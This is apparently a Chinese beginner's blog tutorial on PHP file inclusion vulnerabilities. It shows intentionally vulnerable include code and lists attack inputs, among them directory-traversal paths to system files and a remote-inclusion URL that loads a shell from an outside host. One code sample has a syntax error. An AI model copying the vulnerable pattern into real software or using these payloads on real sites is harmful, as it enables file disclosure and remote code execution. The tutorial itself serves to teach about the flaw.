本文作者是一个白的不能再白的小白的写的,自身的水平有限,本着分享的态度,如遇到不对的地方,希望大家多多提意见。
文件包含漏洞
PHP文件包含漏洞是由于在通过PHP函数引入文件时没有经过安全校验,从而对预想之外的进行了操作,可能造成文件泄露和恶意代码的恶意执行。
下面来看一段index.php示例代码;
<?php
if ($_GET['func']) {
include $_GET['func']; }
else { include 'default.php'; }
?>
程序的本意是调用某个功能界面,假设整个网站中有一个userinfo.php的文件,此时可以通过url:http://xxx.test.com/index.php?func=userinfo.php,调用userinfo.php的内容和功能。如果func没有参数传入,则默认调用default.php的功能和作用。
但是此代码被骇客(黑客最初是一个褒义词,只不过现在慢慢变了味道)看到,假设此站点还有上传功能,黑客通过上传恶意代码hack.php,便可以通过本地包含url:http://xxx.test.com/index.php?func=/upload/document/hack.php,访问。
普通本地包含
以如下代码为例:
<?php
include($_GET['file'];
?>
包含同目录下的文件: ?file=./flag.txt
目录遍历:?file=../../../../../../../../
在linux系统中,cd .. 代表返回上级目录。例如可以通过file=../../../../../../../../../var/lib/mlocate/mlocate.db,读取所有文件的存储路径,但是需要root权限。
普通远程文件包含
远程代码执行:?file=[http|https|ftp]://example.com/shell.php(需要开启allow_url_fopen和allow_url_include)这样就可以执行shell,从而控制程序了。
网友评论